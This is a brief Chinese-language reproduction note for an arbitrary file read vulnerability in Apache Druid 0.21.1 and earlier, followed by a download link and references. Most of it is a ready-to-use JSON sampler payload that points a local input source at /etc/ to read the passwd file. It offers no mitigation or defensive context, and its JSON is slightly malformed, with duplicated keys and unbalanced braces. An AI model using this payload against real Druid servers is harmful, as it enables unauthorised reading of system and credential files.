Apache Druid任意文件读取漏洞复现

Apache Druid <= 0.21.1

{  "type": "index",  "spec": {    "ioConfig": {      "type": "index",      "inputSource": {        "type": "local",        "baseDir": "/etc/",        "filter": "passwd"      },      "inputFormat": {        "type": "json",        "keepNullColumns": true      }    },    "dataSchema": {      "dataSource": "sample",      "timestampSpec": {        "column": "timestamp",        "format": "iso",        "missingValue": "1970"      },      "dimensionsSpec": {}    }  },  "type": "index",  "tuningConfig": {    "type": "index"  }},  "samplerConfig": {    "numRows": 500,    "timeoutMs": 15000  }}

下载地址：https://druid.apache.org/downloads.html

https://it.ruc.edu.cn/wlaq/4f2734fbb2da4df0aa54cb8d03b7ec45.htmhttps://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247489698&idx=1&sn=a891b69cc646a5e44e3eaa68efad878e